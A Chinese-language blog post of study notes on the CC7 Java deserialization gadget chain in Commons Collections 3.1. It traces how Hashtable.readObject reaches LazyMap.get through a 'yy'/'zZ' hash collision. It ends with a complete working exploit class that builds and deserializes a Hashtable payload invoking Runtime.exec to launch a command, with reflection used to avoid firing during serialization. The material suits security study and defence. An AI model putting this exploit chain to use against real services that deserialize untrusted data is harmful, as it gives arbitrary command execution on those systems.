首页 > 编程语言 >java反序列化----CC7利用链学习笔记(Hashtable)

java反序列化----CC7利用链学习笔记(Hashtable)

时间:2023-11-19 22:59:20浏览次数:32  
标签:LazyMap java HashMap CC7 put new 序列化 class

目录

java反序列化----CC7利用链学习笔记(Hashtable)

环境搭建

jdk8u71

        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.1</version>
        </dependency>

利用链

还是和CC6相似
CC6后半部分使用的是HashSet,
CC7后半部分使用的是HashTable
java反序列化----CC6利用链学习笔记(HashMap和HashSet)
前半部分代码

        String cmd = "calc.exe";
        //构造恶意调用链
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap hashMap = new HashMap();
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"test");

HashTable中也重写了readObject方法,put方法也调用了hash方法
所以添上

        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap,"value");

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc7.txt"));
        oos.writeObject(hashtable);

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc7.txt"));
        ois.readObject();

但是执行后并没有弹出计算器
继续分析
发现HashTable中调用了reconstitutionPut方法

进入reconstitutionPut方法

在AbstractMap类中找到重写的equals

发现调用了get方法

现在回到reconstitutionPut方法,判断如何才能通过种种条件限制,调用get方法
首先满足if (value == null)不成立

然后想进入for循环和if判断

下面有一个tab[index] = new Entry<>(hash, key, value, e);
所以要进入for循环和if判断至少要put进两次数值
然后满足e.hash == hash条件,就是说要找到两个字符的hashCode()相同

正好有一组满足条件的字符串,所以put两次的key值分别为"yy","zZ"
"yy".hashCode() == "zZ".hashCode()

所以现在payload:

        HashMap hashMap1 = new HashMap();
        HashMap hashMap2 = new HashMap();
        LazyMap lazyMap1 = (LazyMap) LazyMap.decorate(hashMap1,chainedTransformer);
        LazyMap lazyMap2 = (LazyMap) LazyMap.decorate(hashMap2,chainedTransformer);
        lazyMap1.put("yy",1);
        lazyMap2.put("zZ",1);

        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1,1);
        hashtable.put(lazyMap2,1);

现在可以弹出计算器了,但是在序列化的过程中就弹出计算器了
打断点调试
发现lazyMap2增加了{{yy=1}=1},这样在序列化的时候满足"yy".hashCode() == "zZ".hashCode(),但在反序列化的过程中"{yy=1}".hashCode() != "zZ".hashCode()了


所以在hashtable.put(lazyMap2,1);后填上lazyMap2.remove("yy")
在序列化的过程中就弹出计算器可以学习CC2的先用无害链触发掉
但与CC2不同的是无害链只能为空的,像ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
所以最终EXP:

package cc7;

import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.Transformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;

public class CC7 {
    public static void main(String[] args) throws Exception{
        String cmd = "calc.exe";
        //构造恶意调用链
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke"
                        , new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});//必须为空的,不能是new Transformer[]{new ConstantTransformer(1)}

        HashMap hashMap1 = new HashMap();
        HashMap hashMap2 = new HashMap();
        LazyMap lazyMap1 = (LazyMap) LazyMap.decorate(hashMap1,chainedTransformer);
        lazyMap1.put("yy",1);
        LazyMap lazyMap2 = (LazyMap) LazyMap.decorate(hashMap2,chainedTransformer);
        lazyMap2.put("zZ",1);

        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1,1);
        hashtable.put(lazyMap2,1);

        Class c = chainedTransformer.getClass();
        Field field = c.getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(chainedTransformer,transformers);

        lazyMap2.remove("yy");

        //序列化
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc7.txt"));
        oos.writeObject(hashtable);

        //反序列化
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc7.txt"));
        ois.readObject();

    }
}

标签:LazyMap,java,HashMap,CC7,put,new,序列化,class
From: https://www.cnblogs.com/thebeastofwar/p/17842892.html

相关文章

  • JAVA注解(韩顺平)
    第一部分:三个基本的注解Override用于检查方法重写的语法是否正确Override的结构(ctrl+b可以查看该注解的结构)Deprecatedpackagecom.annotation;//测试@Deprecataed注解publicclassDeprecated{publicstaticvoidmain(String[]args){Dd=ne......
  • java.io.IOException: Problem reading font data.
    字体库问题:运行命令fc-list 在运行yuminstallfontconfig后并没有解决这个问题那就是是临时文件的问题在查看Tomcat下bin/catalina.sh文件找到java的JVM临时目录java.io.tmpdir的配置是CATALINA_TMPDIR=“$CATALINA_BASE”/tempCATALINA_BASE指向的是Tomcat安装目录,由于是迁......
  • Java实现压缩文件浅谈
    背景:在Java中,可以使用java.util.zip包提供的类来进行文件的压缩和解压缩操作。主要涉及的类有ZipOutputStream、ZipEntry、ZipInputStream和InflaterInputStream。压缩文件的步骤和原理:创建一个FileOutputStream对象,用于将压缩后的数据写入到文件中。创建一个BufferedOutp......
  • java 权限修饰符和代码块
    ......
  • java-blog2
    一、前言1、知识点:主要是java中类与类之间的关系和类图的构建以及对数据的处理2、题量:题量不大,简单的作业题量多点,难点的作业题量少点总体来说还行3、难度:难度在不断的变大,每一题所花的时间也在不断的增加二、设计与分析:第四次大作业:设计点菜计价程序,根据输入的信息,计算并输......
  • java 包和final
    packagenet.elaina;publicclassTest{publicstaticvoidmain(String[]args){/*final修饰方法:表明该方法是最终方法,不能被重写final修饰类:表明该类是最终类,不能被继承final修饰变量:叫做常量,只能被赋值......
  • Java 多线程事务控制
    Java多线程怎么做事务控制公司业务中遇到一个需求,需要同时修改最多约5万条数据,而且还不支持批量或异步修改操作。于是只能写个for循环操作,但操作耗时太长,只能一步一步寻找其他解决方案。具体操作如下:一、循环操作的代码先写一个最简单的for循环代码,看看耗时情况怎么样。/......
  • 【Django-DRF用法】多年积累md笔记,第(4)篇:Django-DRF反序列化详解
    本文从分析现在流行的前后端分离Web应用模式说起,然后介绍如何设计RESTAPI,通过使用Django来实现一个RESTAPI为例,明确后端开发RESTAPI要做的最核心工作,然后介绍DjangoRESTframework能帮助我们简化开发RESTAPI的工作。全套DRF笔记直接地址:请移步这里共5章,24子模块,总计1......
  • INFINI Labs 产品更新 | 发布 Easysearch Java 客户端,Console 支持 SQL 查询等功能
    近年来,日志管理平台越来越流行。使用日志管理平台可以实时地、统一地、方便地管理和查看日志,挖掘日志数据价值,驱动运维、运营,提升服务管理效率。方案架构Beats是轻量级采集器,包括Filebeat、Metricbeat等。Easysearch是个分布式搜索引擎,提供搜集、分析、存储数据等主要功能。Con......
  • Java学习—计数排序
    计数排序的核心在于将输入的数据值转化为键存储在额外开辟的数组空间中。作为一种线性时间复杂度的排序,计数排序要求输入的数据必须是有确定范围的整数。1.计数排序的特征当输入的元素是n个0到k之间的整数时,它的运行时间是Θ(n+k)。计数排序不是比较排序,排序的速度快于任......